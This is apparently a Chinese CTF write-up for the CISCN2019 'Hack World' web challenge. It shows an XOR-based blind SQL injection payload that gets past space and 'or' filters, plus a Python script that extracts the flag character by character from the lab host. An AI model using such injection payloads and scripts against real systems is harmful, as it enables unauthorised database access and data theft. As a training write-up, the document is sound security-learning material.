[CISCN2019 华北赛区 Day2 Web1]Hack World
分析
打开环境发现这个
All You Want Is In Table 'flag' and the column is 'flag'
还有个输入框
随便输一个数字1
返回
Hello, glzjin wants a girlfriend.
肯定是sql注入没跑了,而且要查找flag表下的flag字段
由于提交前后url没有变化,所以是通过POST方法提交了参数id。
打开hackbar模拟post过程
发现输入3 or 1=1时 返回
SQL Injection Checked.
有过滤
fuzz一下发现空格,or 等不能用
构造payload
用^代替空格
复习下异或注入
mysql> select 1^1^1;
+-------+
| 1^1^1 |
+-------+
| 1 |
+-------+
1 row in set (0.00 sec)
mysql> select 1^2^1;
+-------+
| 1^2^1 |
+-------+
| 2 |
+-------+
中间的数可以作为返回值
用括号把flag括起来以代替空格效果
于是1^(ascii(substr((select(flag)from(flag)),1,1))=102)^1
当ascii码正确时返回1否则是0
而1在题目中的会显是
Hello, glzjin wants a girlfriend.
0是
Error Occured When Fetch Result.
写盲注脚本
import requests as req
import time
url='http://d6d4e6c5-44bb-40b3-9060-fc4ff98097f4.node4.buuoj.cn:81/'
res=''
#res是查询的数据
#i表示假设的值的长度
for i in range(1,100):
#ascii范围是所有小写字母for ascii in range(32,128):id=f"id=1^((ascii(substr((select(flag)from(flag)),{i},1))={ascii})^1)"data={'id': id}r=req.post(url=url,data=data)print(id)if "Hello, glzjin wants a girlfriend." in r.text :res+=chr(ascii)print(res)breakif ascii ==127:exit(0)
flag:flag{c59f1394-f86f-429e-bcf6-b8bb8094a556}
============================================
最近一堆考试和大作业,真是让人头大